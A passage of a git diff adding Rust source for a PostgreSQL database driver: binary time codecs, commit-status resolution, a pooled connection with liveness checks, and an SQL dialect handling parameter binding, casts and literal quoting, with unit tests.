m7]); + let west = i32::from_be_bytes([z0, z1, z2, z3]); + let offset = west + .checked_neg() + .and_then(FixedOffset::east_opt) + .ok_or(WireError::OutOfRange)?; + Ok(TimeWithOffset { + time: time_of_day(micros)?, + offset, + }) +} + +pub(crate) fn timetz_to_sql(micros: i64, offset: FixedOffset, out: &mut BytesMut) { + out.put_i64(micros); + out.put_i32(-offset.local_minus_utc()); +} + +fn time_of_day(micros: i64) -> Result { + if !(0..=MICROS_PER_DAY).contains(µs) { + return Err(WireError::OutOfRange); + } + SqlTime::from_micros(micros).map_err(|_| WireError::OutOfRange) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn time_24_00_00() { + let mut out = BytesMut::new(); + time_to_sql(MICROS_PER_DAY, &mut out); + + let time = time_from_sql(&out).expect("24:00:00 is a valid time"); + + assert_eq!(time.format(None), "24:00:00"); + assert_eq!(time.total_micros(), Some(MICROS_PER_DAY)); + } + + #[test] + fn a_time_past_the_end_of_the_day_is_out_of_range() { + let mut out = BytesMut::new(); + time_to_sql(MICROS_PER_DAY + 1, &mut out); + + assert_eq!(time_from_sql(&out), Err(WireError::OutOfRange)); + assert_eq!(time_from_sql(&[0, 1]), Err(WireError::Malformed)); + } + + #[test] + fn timetz_keeps_the_offset_with_its_own_sign() { + let offset = FixedOffset::east_opt(7 * 3600).expect("an offset"); + let mut out = BytesMut::new(); + timetz_to_sql(45_296_000_000, offset, &mut out); + + let read = timetz_from_sql(&out).expect("a timetz"); + + assert_eq!(read.offset, offset); + assert_eq!(read.time.format(None), "12:34:56"); + } +} diff --git a/linux/crates/drivers/postgres/src/codec/wire_error.rs b/linux/crates/drivers/postgres/src/codec/wire_error.rs new file mode 100644 index 0000000000..31265a7c18 --- /dev/null +++ b/linux/crates/drivers/postgres/src/codec/wire_error.rs @@ -0,0 +1,20 @@ +use tablepro_core::value::UndecodableReason; + +/// Why a binary value could not be read. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum WireError { + /// The bytes are not what the type's binary form allows. + Malformed, + /// The bytes are well formed, and the value does not fit what the app + /// can hold. + OutOfRange, +} + +impl WireError { + pub(crate) fn reason(self) -> UndecodableReason { + match self { + Self::Malformed => UndecodableReason::InvalidEncoding, + Self::OutOfRange => UndecodableReason::OutOfRange, + } + } +} diff --git a/linux/crates/drivers/postgres/src/commit_resolution.rs b/linux/crates/drivers/postgres/src/commit_resolution.rs new file mode 100644 index 0000000000..b35a7fbe44 --- /dev/null +++ b/linux/crates/drivers/postgres/src/commit_resolution.rs @@ -0,0 +1,51 @@ +use tablepro_core::{CommitResolution, CommitToken, DriverError}; + +use crate::metadata::{decode_error, text_rows}; +use crate::workspace_call::{ReadOp, read_op}; + +/// Ask the server what became of the transaction a lost COMMIT named. +pub(crate) fn resolve_op(token: &CommitToken) -> Result, DriverError> { + let CommitToken::PostgresXid { xid, legacy_txid } = token else { + return Ok(read_op(|_| Box::pin(async { Ok(CommitResolution::Unresolvable) }))); + }; + let sql = if *legacy_txid { + "SELECT txid_status($1::text::int8)::text" + } else { + "SELECT pg_xact_status($1::text::xid8)::text" + }; + let xid = xid.to_string(); + Ok(read_op(move |client| { + Box::pin(async move { + let rows = text_rows(client, sql, &[&xid]).await?; + let status: Option = match rows.first() { + Some(row) => row.try_get(0).map_err(decode_error("pg_xact_status"))?, + None => None, + }; + Ok(resolution(status.as_deref())) + }) + })) +} + +/// `committed`, `aborted` and `in progress` are final answers; NULL means +/// the record has aged out of the commit log. +fn resolution(status: Option<&str>) -> CommitResolution { + match status { + Some("committed") => CommitResolution::Applied, + Some("aborted") => CommitResolution::NotApplied, + Some("in progress") => CommitResolution::StillRunning, + _ => CommitResolution::Unresolvable, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_servers_answers_map_to_resolutions() { + assert_eq!(resolution(Some("committed")), CommitResolution::Applied); + assert_eq!(resolution(Some("aborted")), CommitResolution::NotApplied); + assert_eq!(resolution(Some("in progress")), CommitResolution::StillRunning); + assert_eq!(resolution(None), CommitResolution::Unresolvable); + } +} diff --git a/linux/crates/drivers/postgres/src/connection.rs b/linux/crates/drivers/postgres/src/connection.rs new file mode 100644 index 0000000000..08e002dfc8 --- /dev/null +++ b/linux/crates/drivers/postgres/src/connection.rs @@ -0,0 +1,436 @@ +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; + +use async_trait::async_trait; +use deadpool_postgres::{Pool, PoolError, TimeoutType, Timeouts}; +use tablepro_core::column::ColumnInfo; +use tablepro_core::ddl::TableDefinition; +use tablepro_core::dialect::SqlDialect; +use tablepro_core::meta::{IndexInfo, ObjectInfo, ObjectScope, RowIdentity, SchemaInfo, TableEstimate, TableRef}; +use tablepro_core::statement::Statement; +use tablepro_core::{ + CallOptions, CommitResolution, CommitToken, Connection, DriverError, EditorSession, EditorSessionOptions, + ErrorCategory, ForeignKeyInfo, LinkState, LinkWatch, LivenessPolicy, LossPhase, OwnedCalls, QueryResult, + ReadStatement, ResultSink, RowLimit, ServerInfo, StreamSummary, TimeoutPhase, WorkspaceSettings, WriteAtomicity, + WriteBatch, WriteLedger, WriteReport, +}; +use tokio::time::Instant; +use tokio_util::sync::{CancellationToken, WaitForCancellationFutureOwned}; +use tokio_util::task::TaskTracker; + +use crate::cancel::{PgStop, StopProgress}; +use crate::commit_resolution::resolve_op; +use crate::dialect::PgDialect; +use crate::editor::PgEditorSession; +use crate::errors::{map_error, map_pool_error}; +use crate::metadata; +use crate::pg_call::PgCall; +use crate::physical::PgEndpoint; +use crate::pool::{probe_timeouts, workspace_timeouts}; +use crate::standalone::Standalone; +use crate::stream_read::stream; +use crate::workspace_call::{Access, ReadOp, count_op, flight, preamble, query_bound_op, read_op, statement_bound}; +use crate::write_batch::{WritePlan, perform, precheck}; + +/// A workspace's link to one PostgreSQL server: a pool of four +/// connections behind the sidebar, the grid and every save. +pub(crate) struct PgConnection { + endpoint: Arc, + pool: Pool, + calls: OwnedCalls, + tracker: TaskTracker, + settings: WorkspaceSettings, + server: ServerInfo, + dialect: Arc, + link: LinkWatch, + closed: AtomicBool, +} + +impl PgConnection { + pub(crate) fn new( + endpoint: Arc, + pool: Pool, + tracker: TaskTracker, + settings: WorkspaceSettings, + server: ServerInfo, + ) -> Self { + let grace = endpoint.liveness().cancel_grace; + let dialect = Arc::new(PgDialect::new(&server)); + Self { + endpoint, + pool, + calls: OwnedCalls::new(grace), + tracker, + settings, + server, + dialect, + link: LinkWatch::new(), + closed: AtomicBool::new(false), + } + } + + fn liveness(&self) -> &LivenessPolicy { + self.endpoint.liveness() + } + + fn ensure_open(&self) -> Result<(), DriverError> { + if self.closed.load(Ordering::SeqCst) { + return Err(DriverError::ConnectionLost { + during: LossPhase::Idle, + }); + } + Ok(()) + } + + /// The table's name as `::regclass` resolves it. + fn relation(&self, table: &TableRef) -> String { + self.dialect.qualify(table) + } + + /// Run one read in its own read-only transaction on a pooled + /// connection, owned by a task that outlives the caller. + async fn read(&self, options: CallOptions, op: ReadOp) -> Result { + self.ensure_open()?; + let stop = Arc::new(PgStop::new(self.endpoint.clone())); + let pool = self.pool.clone(); + let timeouts = workspace_timeouts(self.liveness()); + let begin = self.read_preamble(&options); + let work_stop = stop.clone(); + let outcome = self + .calls + .run_read( + options, + PgCall::new(), + stop.clone(), + move |mut call, request| async move { + if let Err(error) = call.acquire(&pool, &timeouts, &request, &work_stop).await { + return (call, Err(error)); + } + let result = flight(&call, &begin, op).await; + (call, result) + }, + ) + .await; + self.settle(outcome, &stop).await + } + + fn read_preamble(&self, options: &CallOptions) -> String { + preamble( + Access::ReadOnly, + Some(statement_bound(&self.settings, options.deadline())), + self.settings.lock_timeout, + ) + } + + /// Decide whether a failed call means the link itself is gone. + /// + /// A call that timed out or lost its connection may have met a dead + /// route or only a dead backend. The cancel request already tried a + /// fresh stream: if even that never settled, the route is gone. + /// Otherwise a connection of its own answers the question, within + /// the cancel grace, so a dead route is reported within the call's + /// deadline plus that grace. + async fn settle(&self, outcome: Result, stop: &PgStop) -> Result { + let error = match outcome { + Ok(value) => return Ok(value), + Err(error) => self.endpoint.explain(error).await, + }; + if !suspects_link(&error) { + return Err(error); + } + let lost = match stop.progress() { + StopProgress::InFlight | StopProgress::Failed => true, + StopProgress::Delivered => false, + StopProgress::NotSent | StopProgress::NothingToStop => { + let checked = self.endpoint.check(self.liveness().cancel_grace, &self.tracker).await; + checked.is_err_and(|failure| means_link_lost(&failure)) + } + }; + if !lost { + return Err(error); + } + self.link.mark_lost(); + Err(match error { + DriverError::Timeout { .. } => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + other => other, + }) + } + + /// The probe of a busy pool: a connection of its own, asked one + /// trivial question within the probe's deadline. + async fn probe_standalone(&self, deadline: Instant) -> Result<(), DriverError> { + let bound = deadline.saturating_duration_since(Instant::now()); + self.endpoint.check(bound, &self.tracker).await + } +} + +/// A failure that may mean the route is gone rather than one statement: +/// a lost connection, a transport error, or a timeout the server never +/// acknowledged. +fn suspects_link(error: &DriverError) -> bool { + match error { + DriverError::ConnectionLost { .. } | DriverError::Transport(_) => true, + DriverError::Timeout { + server_cancelled: false, + phase, + } => matches!( + phase, + TimeoutPhase::Statement | TimeoutPhase::Probe | TimeoutPhase::Login + ), + _ => false, + } +} + +fn means_link_lost(error: &DriverError) -> bool { + matches!( + error.category(), + ErrorCategory::Network | ErrorCategory::ConnectionLost | ErrorCategory::Timeout + ) +} + +#[async_trait] +impl Connection for PgConnection { + fn server_info(&self) -> &ServerInfo { + &self.server + } + + fn dialect(&self) -> Arc { + self.dialect.clone() + } + + fn read_only(&self) -> bool { + self.settings.read_only + } + + fn link_state(&self) -> LinkState { + self.link.state() + } + + fn lost(&self) -> WaitForCancellationFutureOwned { + self.link.lost() + } + + async fn probe(&self, options: CallOptions) -> Result<(), DriverError> { + self.ensure_open()?; + let deadline = options + .deadline() + .unwrap_or_else(|| Instant::now() + self.liveness().probe_timeout); + let probing = async { + let quick: Timeouts = probe_timeouts(self.liveness()); + match self.pool.timeout_get(&quick).await { + Ok(object) => object + .simple_query("SELECT 1") + .await + .map(|_| ()) + .map_err(|error| map_error(&error)), + // Every slot is busy, which is not the server being gone. + Err(PoolError::Timeout(TimeoutType::Wait)) => self.probe_standalone(deadline).await, + Err(error) => Err(map_pool_error(&error)), + } + }; + let outcome = tokio::select! { + () = options.cancel().cancelled() => Err(DriverError::Cancelled), + outcome = tokio::time::timeout_at(deadline, probing) => outcome.unwrap_or(Err(DriverError::Timeout { + phase: TimeoutPhase::Probe, + server_cancelled: false, + })), + }; + if let Err(error) = &outcome + && matches!(error.category(), ErrorCategory::Network | ErrorCategory::ConnectionLost) + { + self.link.mark_lost(); + } + outcome + } + + async fn list_schemas(&self, options: CallOptions) -> Result, DriverError> { + self.read(options, read_op(|client| Box::pin(metadata::list_schemas(client)))) + .await + } + + async fn list_objects(&self, scope: &ObjectScope, options: CallOptions) -> Result, DriverError> { + let scope = scope.clone(); + self.read( + options, + read_op(move |client| Box::pin(async move { metadata::list_objects(client, &scope).await })), + ) + .await + } + + async fn fetch_columns(&self, table: &TableRef, options: CallOptions) -> Result, DriverError> { + let relation = self.relation(table); + self.read( + options, + read_op(move |client| Box::pin(async move { metadata::fetch_columns(client, &relation).await })), + ) + .await + } + + async fn fetch_indexes(&self, table: &TableRef, options: CallOptions) -> Result, DriverError> { + let relation = self.relation(table); + self.read( + options, + read_op(move |client| Box::pin(async move { metadata::fetch_indexes(client, &relation).await })), + ) + .await + } + + async fn fetch_foreign_keys( + &self, + table: &TableRef, + options: CallOptions, + ) -> Result, DriverError> { + let relation = self.relation(table); + self.read( + options, + read_op(move |client| Box::pin(async move { metadata::fetch_foreign_keys(client, &relation).await })), + ) + .await + } + + async fn fetch_table_definition( + &self, + table: &TableRef, + options: CallOptions, + ) -> Result { + let relation = self.relation(table); + let table = table.clone(); + self.read( + options, + read_op(move |client| { + Box::pin(async move { metadata::fetch_table_definition(client, &table, &relation).await }) + }), + ) + .await + } + + async fn row_identity(&self, table: &TableRef, options: CallOptions) -> Result { + let relation = self.relation(table); + self.read( + options, + read_op(move |client| Box::pin(async move { metadata::row_identity(client, &relation).await })), + ) + .await + } + + async fn table_estimate(&self, table: &TableRef, options: CallOptions) -> Result { + let relation = self.relation(table); + self.read( + options, + read_op(move |client| Box::pin(async move { metadata::table_estimate(client, &relation).await })), + ) + .await + } + + async fn query_bound( + &self, + statement: &Statement, + limit: RowLimit, + options: CallOptions, + ) -> Result { + let begin = self.read_preamble(&options); + self.read(options, query_bound_op(statement.clone(), limit, begin)) + .await + } + + async fn count_rows(&self, statement: &Statement, options: CallOptions) -> Result { + self.read(options, count_op(statement.clone())).await + } + + async fn stream_read( + &self, + read: &ReadStatement, + mut sink: Box, + options: CallOptions, + ) -> Result { + self.ensure_open()?; + let stop = Arc::new(PgStop::new(self.endpoint.clone())); + let endpoint = self.endpoint.clone(); + let tracker = self.tracker.clone(); + let read = read.clone(); + let work_stop = stop.clone(); + let outcome = self + .calls + .run_read( + options, + Standalone::new(), + stop.clone(), + move |mut link, request| async move { + if let Err(error) = link.open(&endpoint, &tracker, &request, &work_stop).await { + return (link, Err(error)); + } + let result = match link.client() { + Ok(client) => stream(client, &read, sink.as_mut()).await, + Err(error) => Err(error), + }; + (link, result) + }, + ) + .await; + self.settle(outcome, &stop).await + } + + async fn write_batch(&self, batch: &WriteBatch, options: CallOptions) -> Result { + self.ensure_open()?; + precheck(batch, self.settings.read_only)?; + let stop = Arc::new(PgStop::new(self.endpoint.clone())); + let ledger = Arc::new(WriteLedger::new(WriteAtomicity::Transactional)); + let pool = self.pool.clone(); + let timeouts = workspace_timeouts(self.liveness()); + let plan = WritePlan { + batch: batch.clone(), + settings: self.settings, + ledger: ledger.clone(), + legacy_txid: !self.server.at_least(13, 0, 0), + }; + let work_stop = stop.clone(); + let outcome = self + .calls + .run_write( + options, + PgCall::new(), + stop.clone(), + ledger, + move |mut call, request| async move { + if let Err(error) = call.acquire(&pool, &timeouts, &request, &work_stop).await { + let error = match request.is_requested() { + true => plan.ledger.interrupted(error, tablepro_core::SessionFate::RolledBack), + false => error, + }; + return (call, Err(error)); + } + let result = perform(&call, &plan, &request, &work_stop).await; + (call, result) + }, + ) + .await; + self.settle(outcome, &stop).await + } + + async fn resolve_commit(&self, token: &CommitToken, options: CallOptions) -> Result { + self.read(options, resolve_op(token)?).await + } + + async fn open_editor_session( + &self, + options: EditorSessionOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + self.ensure_open()?; + let session = PgEditorSession::open(self.endpoint.clone(), self.settings.read_only, options, cancel).await?; + Ok(session) + } + + async fn close(&self) -> Result<(), DriverError> { + if self.closed.swap(true, Ordering::SeqCst) { + return Ok(()); + } + self.calls.shutdown().await; + self.pool.close(); + self.tracker.close(); + let _ = tokio::time::timeout(self.liveness().close_timeout, self.tracker.wait()).await; + Ok(()) + } +} diff --git a/linux/crates/drivers/postgres/src/dialect.rs b/linux/crates/drivers/postgres/src/dialect.rs new file mode 100644 index 0000000000..71e1879cf5 --- /dev/null +++ b/linux/crates/drivers/postgres/src/dialect.rs @@ -0,0 +1,608 @@ +use postgres_protocol::escape::{escape_identifier, escape_literal}; +use tablepro_core::ServerInfo; +use tablepro_core::column::{ + BoolStorage, CatalogType, ColumnInfo, ColumnKind, ColumnType, FloatWidth, IntegerKind, IntegerWidth, ReadForm, + SqlExpression, SqlTypeExpr, TemporalZone, TextLength, classify_type_name, has_dynamic_storage, +}; +use tablepro_core::ddl::{DdlCapabilities, DdlDialect}; +use tablepro_core::dialect::{ + BindError, BindTarget, DialectCapabilities, KeysetDirection, LiteralError, Placeholder, SqlDialect, +}; +use tablepro_core::export::value_to_text; +use tablepro_core::meta::{EngineRowId, EngineRowIdPart}; +use tablepro_core::sql_syntax::{ + ExpressionSyntaxError, MAX_EXPRESSION_LEN, MAX_TYPE_LEN, SqlGrammar, TypeSyntaxError, parse_expression, parse_type, +}; +use tablepro_core::statement::{BoundParam, ParamType}; +use tablepro_core::value::{Temporal, Value}; + +/// The type a bit string is cast to. A cast to the column's own `bit` +/// would silently truncate to one bit, while `varbit` keeps every bit and +/// leaves the length check to the column's assignment cast. +const BIT_CAST: &str = "varbit"; + +/// How PostgreSQL spells the SQL the app generates. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct PgDialect { + server_version_num: u32, +} + +impl PgDialect { + pub fn new(server: &ServerInfo) -> Self { + Self { + server_version_num: server.major * 10_000 + server.minor, + } + } + + pub fn server_version_num(&self) -> u32 { + self.server_version_num + } +} + +static PG_DDL: PgDdl = PgDdl { + capabilities: DdlCapabilities { + create_table: true, + rename_table: true, + add_column: true, + drop_column: true, + rename_column: true, + alter_column_type: true, + alter_column_nullability: true, + nullability_switch: true, + alter_column_default: true, + alter_primary_key: true, + alter_auto_increment: true, + create_index: true, + drop_index: true, + expression_index_keys: true, + partial_indexes: true, + add_foreign_key: true, + drop_foreign_key: true, + drop_table_cascade: true, + }, +}; + +#[derive(Debug)] +struct PgDdl { + capabilities: DdlCapabilities, +} + +impl DdlDialect for PgDdl { + fn capabilities(&self) -> &DdlCapabilities { + &self.capabilities + } +} + +impl SqlDialect for PgDialect { + fn capabilities(&self) -> DialectCapabilities { + DialectCapabilities { exact_row_counts: true } + } + + fn grammar(&self) -> SqlGrammar { + SqlGrammar::PostgreSql + } + + fn quote_identifier(&self, name: &str) -> String { + escape_identifier(name) + } + + fn placeholder(&self, ordinal: usize, value: Value, target: BindTarget<'_>) -> Result { + let marker = format!("${}", ordinal + 1); + let binding = match target { + BindTarget::Pattern => Binding::plain(ParamType::Text), + BindTarget::EngineRowId(part) => row_id_binding(part, &value)?, + BindTarget::Column(column) => column_binding(column)?, + }; + let param = BoundParam::new(value, binding.param_type)?; + let sql = match binding.cast { + Some(cast) => format!("{marker}::{cast}"), + None => marker, + }; + Ok(Placeholder::bound(sql, param)) + } + + fn literal(&self, value: &Value, _column: &ColumnType) -> Result { + literal(value) + } + + fn escape_like_text(&self, text: &str) -> String { + let mut escaped = String::with_capacity(text.len()); + for character in text.chars() { + if matches!(character, '!' | '%' | '_') { + escaped.push('!'); + } + escaped.push(character); + } + escaped + } + + fn row_window(&self, order_by: Option<&str>, limit: u64, offset: u64) -> String { + match order_by.map(str::trim).filter(|order| !order.is_empty()) { + Some(order) => format!(" ORDER BY {order} LIMIT {limit} OFFSET {offset}"), + None => format!(" LIMIT {limit} OFFSET {offset}"), + } + } + + fn row_value_after(&self, key_sql: &[String], markers: &[String], direction: KeysetDirection) -> String { + format!( + "({}) {} ({})", + key_sql.join(", "), + direction.comparison(), + markers.join(", ") + ) + } + + fn engine_row_id(&self, id: EngineRowId) -> Option { + let projections: Option> = id + .parts() + .iter() + .map(|part| { + let column = self.engine_row_id_column(*part)?; + let alias = self.quote_identifier(part.projection_alias()); + Some(match part { + EngineRowIdPart::PostgresTableOid => format!("{column}::oid::int8 AS {alias}"), + _ => format!("{column}::text AS {alias}"), + }) + }) + .collect(); + projections.map(|projections| projections.join(", ")) + } + + fn engine_row_id_column(&self, part: EngineRowIdPart) -> Option { + match part { + EngineRowIdPart::PostgresCtid => Some(self.quote_identifier("ctid")), + EngineRowIdPart::PostgresTableOid => Some(self.quote_identifier("tableoid")), + EngineRowIdPart::PostgresXmin => Some(self.quote_identifier("xmin")), + EngineRowIdPart::SqliteRowid => None, + } + } + + fn parse_type(&self, text: &str) -> Result { + let parsed = parse_type(SqlGrammar::PostgreSql, text, MAX_TYPE_LEN)?; + let kind = classify_type_name(&parsed.text); + let declaration = SqlTypeExpr::from_catalog_text(parsed.text.as_str()); + Ok(ColumnType { + dynamic_storage: has_dynamic_storage(&kind), + kind, + // Before the column exists its declaration is the only + // spelling there is, and nothing binds against a draft. + catalog: Some(CatalogType { + cast_target: declaration.clone(), + declaration, + }), + name: parsed.text, + read_form: ReadForm::Native, + }) + } + + fn parse_expression(&self, text: &str) -> Result { + let parsed = parse_expression(SqlGrammar::PostgreSql, text, MAX_EXPRESSION_LEN)?; + Ok(SqlExpression::from_catalog_text(parsed.text)) + } + + fn ddl(&self) -> Option<&dyn DdlDialect> { + Some(&PG_DDL) + } + + /// A column without a binary decoder is read as the server's text, + /// and money as the numeric it is, so no row ever carries a type the + /// driver would have to look up by name. + fn projection(&self, column: &ColumnInfo) -> String { + let name = self.quote_identifier(&column.name); + match column.column_type.read_form { + ReadForm::ServerText => format!("{name}::text AS {name}"), + ReadForm::ServerNumeric => format!("{name}::numeric AS {name}"), + ReadForm::Native => name, + } + } + + /// json, jsonb, xml and enums have no LIKE: `jsonb ~~ text` does not + /// exist. + fn text_operand(&self, column: &ColumnInfo) -> Option { + match column.column_type.kind { + ColumnKind::Json { .. } | ColumnKind::Enum { .. } | ColumnKind::Xml => { + Some(format!("{}::text", self.quote_identifier(&column.name))) + } + _ => None, + } + } + + /// json and xml have no `=`; jsonb and an enum do. + fn equality_as_text(&self, column: &ColumnInfo) -> bool { + matches!( + column.column_type.kind, + ColumnKind::Json { binary: false } | ColumnKind::Xml + ) + } +} + +/// What a value binds as, and the cast that turns the parameter into the +/// column's own type. +struct Binding { + param_type: ParamType, + cast: Option, +} + +impl Binding { + fn plain(param_type: ParamType) -> Self { + Self { param_type, cast: None } + } + + fn cast(param_type: ParamType, cast: SqlTypeExpr) -> Self { + Self { + param_type, + cast: Some(cast), + } + } + + fn server_text(cast: SqlTypeExpr) -> Self { + Self::cast(ParamType::ServerText(cast.clone()), cast) + } +} + +fn row_id_binding(part: EngineRowIdPart, value: &Value) -> Result { + let named = |name: &str| SqlTypeExpr::from_catalog_text(name); + Ok(match (part, value) { + // The page reads tableoid as an integer, and a ctid window may + // hand one back as text, so both forms bind. + (EngineRowIdPart::PostgresTableOid, Value::Int(_) | Value::UInt(_)) => { + Binding::cast(ParamType::Int64, named("oid")) + } + (EngineRowIdPart::PostgresTableOid, _) => Binding::server_text(named("oid")), + (EngineRowIdPart::PostgresCtid, _) => Binding::server_text(named("tid")), + (EngineRowIdPart::PostgresXmin, _) => Binding::server_text(named("xid")), + (EngineRowIdPart::SqliteRowid, _) => { + return Err(BindError::Unrepresentable { + expected: "a PostgreSQL row address", + found: "a SQLite rowid", + }); + } + }) +} + +fn column_binding(column: &ColumnInfo) -> Result { + let column_type = &column.column_type; + let catalog_cast = || { + column_type + .catalog + .as_ref() + .map(|catalog| catalog.cast_target.clone()) + .ok_or_else(|| BindError::MissingCatalogType { + column: column.name.clone(), + }) + }; + Ok(match &column_type.kind { + ColumnKind::Bool(BoolStorage::Native) => Binding::plain(ParamType::Bool), + ColumnKind::Bool(BoolStorage::Integer) => Binding::plain(ParamType::Int64), + ColumnKind::Integer(kind) => Binding::plain(integer_param_type(*kind)), + ColumnKind::Decimal { .. } => Binding::plain(ParamType::Decimal), + // money has no binary form the driver writes; a numeric parameter + // cast to money keeps every digit. + ColumnKind::Money { .. } => Binding::cast(ParamType::Decimal, SqlTypeExpr::from_catalog_text("money")), + ColumnKind::Float(FloatWidth::F32) => Binding::plain(ParamType::Float32), + ColumnKind::Float(FloatWidth::F64) => Binding::plain(ParamType::Float64), + ColumnKind::Text { + length: TextLength::Fixed(_), + } => Binding::plain(ParamType::FixedText), + ColumnKind::Text { .. } => Binding::plain(ParamType::Text), + ColumnKind::Bytes { .. } => Binding::plain(ParamType::Bytes), + ColumnKind::Date => Binding::plain(ParamType::Date), + ColumnKind::Time { with_offset: false, .. } => Binding::plain(ParamType::Time), + ColumnKind::Time { with_offset: true, .. } => Binding::plain(ParamType::TimeTz), + ColumnKind::Timestamp { + zone: TemporalZone::Offset, + .. + } => Binding::plain(ParamType::TimestampTz), + ColumnKind::Timestamp { .. } => Binding::plain(ParamType::Timestamp), + ColumnKind::Interval => Binding::plain(ParamType::Interval), + ColumnKind::Uuid => Binding::plain(ParamType::Uuid), + ColumnKind::Json { binary: false } => Binding::plain(ParamType::Json), + ColumnKind::Json { binary: true } => Binding::plain(ParamType::JsonBinary), + ColumnKind::BitString { .. } => Binding::cast(ParamType::Bits, SqlTypeExpr::from_catalog_text(BIT_CAST)), + // A type only the server names binds as text cast to the type the + // catalogue gave: guessing from the display name could pick the + // wrong one. + ColumnKind::Enum { .. } + | ColumnKind::Network(_) + | ColumnKind::Xml + | ColumnKind::Spatial + | ColumnKind::Variant + | ColumnKind::Composite + | ColumnKind::Array { .. } + | ColumnKind::Other => Binding::server_text(catalog_cast()?), + }) +} + +fn integer_param_type(kind: IntegerKind) -> ParamType { + match (kind.width, kind.signed) { + (IntegerWidth::W8 | IntegerWidth::W16, true) | (IntegerWidth::W8, false) => ParamType::Int16, + (IntegerWidth::W24 | IntegerWidth::W32, true) | (IntegerWidth::W16 | IntegerWidth::W24, false) => { + ParamType::Int32 + } + (IntegerWidth::W64 | IntegerWidth::W128 | IntegerWidth::W256, false) => ParamType::UInt64, + (IntegerWidth::W64 | IntegerWidth::W128 | IntegerWidth::W256, true) | (IntegerWidth::W32, false) => { + ParamType::Int64 + } + } +} + +fn literal(value: &Value) -> Result { + Ok(match value { + Value::Null => "NULL".to_owned(), + Value::Bool(flag) => flag.to_string(), + Value::Int(int) => int.to_string(), + Value::UInt(int) => int.to_string(), + Value::WideInt(int) => int.to_string(), + Value::Float32(float) if float.is_finite() => float.to_string(), + Value::Float64(float) if float.is_finite() => float.to_string(), + Value::Float32(_) | Value::Float64(_) => { + format!("{}::float8", quoted(&value_to_text(value).unwrap_or_default())) + } + Value::Decimal(decimal) if decimal.is_finite() => decimal.to_string(), + Value::Decimal(decimal) => format!("{}::numeric", quoted(&decimal.to_string())), + Value::Bytes(bytes) => format!("decode('{}', 'hex')", tablepro_core::hex::encode_lower(bytes)), + Value::Bits(bits) => format!("B'{bits}'"), + Value::Interval(interval) => format!("INTERVAL '{interval}'"), + Value::Date(Temporal::Infinity) + | Value::Timestamp(Temporal::Infinity) + | Value::TimestampTz(Temporal::Infinity) => "'infinity'".to_owned(), + Value::Date(Temporal::NegInfinity) + | Value::Timestamp(Temporal::NegInfinity) + | Value::TimestampTz(Temporal::NegInfinity) => "'-infinity'".to_owned(), + Value::Undecodable(undecodable) => { + return Err(LiteralError::Undecodable { + reason: format!("{:?}", undecodable.reason), + }); + } + other => match value_to_text(other) { + Some(text) => quoted(&text), + None => { + return Err(LiteralError::Unrepresentable { + found: other.variant_name(), + }); + } + }, + }) +} + +/// A string literal that reads the same whatever +/// `standard_conforming_strings` is. +fn quoted(text: &str) -> String { + escape_literal(text).trim_start().to_owned() +} + +#[cfg(test)] +mod tests { + use tablepro_core::column::{ColumnDefault, IntegerKind}; + use tablepro_core::value::SqlDecimal; + + use super::*; + + fn dialect() -> PgDialect { + PgDialect::new(&ServerInfo::new("PostgreSQL", "18.0", 18, 0, 0)) + } + + fn column(kind: ColumnKind, catalog: Option<&str>) -> ColumnInfo { + ColumnInfo { + name: "c".to_owned(), + column_type: ColumnType { + name: catalog.unwrap_or("c").to_owned(), + kind, + catalog: catalog.map(|text| CatalogType { + declaration: SqlTypeExpr::from_catalog_text(text), + cast_target: SqlTypeExpr::from_catalog_text(text), + }), + dynamic_storage: true, + read_form: ReadForm::Native, + }, + nullable: true, + primary_key: false, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, + } + } + + fn bind(ordinal: usize, value: Value, column: &ColumnInfo) -> Result { + dialect().placeholder(ordinal, value, BindTarget::Column(column)) + } + + fn int(width: IntegerWidth) -> ColumnKind { + ColumnKind::Integer(IntegerKind { width, signed: true }) + } + + #[test] + fn a_null_binds_as_the_columns_own_type() { + let cases = [ + (int(IntegerWidth::W32), ParamType::Int32), + (int(IntegerWidth::W64), ParamType::Int64), + (ColumnKind::Bool(BoolStorage::Native), ParamType::Bool), + (ColumnKind::Date, ParamType::Date), + (ColumnKind::Uuid, ParamType::Uuid), + ( + ColumnKind::Decimal { + precision: Some(10), + scale: Some(2), + }, + ParamType::Decimal, + ), + ( + ColumnKind::Timestamp { + fractional_digits: None, + zone: TemporalZone::Offset, + }, + ParamType::TimestampTz, + ), + ]; + for (kind, expected) in cases { + let placeholder = bind(0, Value::Null, &column(kind.clone(), None)).expect("a typed null"); + assert_eq!(placeholder.sql, "$1", "{kind:?}"); + assert_eq!( + placeholder.param.as_ref().map(BoundParam::param_type), + Some(&expected), + "{kind:?}" + ); + } + } + + #[test] + fn server_named_types_cast_to_their_catalogue_type() { + let mood = column( + ColumnKind::Enum { + labels: vec!["happy".to_owned()], + multiple: false, + }, + Some("mood"), + ); + assert_eq!( + bind(0, Value::Text("happy".to_owned()), &mood).map(|p| p.sql), + Ok("$1::mood".to_owned()) + ); + + let array = column( + ColumnKind::Array { + element: Box::new(int(IntegerWidth::W32)), + }, + Some("integer[]"), + ); + assert_eq!( + bind(1, Value::Text("{1,2}".to_owned()), &array).map(|p| p.sql), + Ok("$2::integer[]".to_owned()) + ); + + let fixed = column( + ColumnKind::Text { + length: TextLength::Fixed(10), + }, + Some("character(10)"), + ); + assert_eq!( + bind(0, Value::Text("a".to_owned()), &fixed) + .ok() + .and_then(|p| p.param.map(|param| param.param_type().clone())), + Some(ParamType::FixedText) + ); + + let money = column(ColumnKind::Money { scale: None }, Some("money")); + assert_eq!( + bind(0, Value::Decimal("1.25".parse().expect("a decimal")), &money).map(|p| p.sql), + Ok("$1::money".to_owned()) + ); + } + + #[test] + fn text_into_a_uuid_is_a_bind_error() { + let uuid = column(ColumnKind::Uuid, None); + + assert!(matches!( + bind(0, Value::Text("not a uuid".to_owned()), &uuid), + Err(BindError::ValueTypeMismatch { .. }) + )); + } + + #[test] + fn row_addresses_cast_back_to_their_own_types() { + let dialect = dialect(); + let ctid = dialect + .placeholder( + 0, + 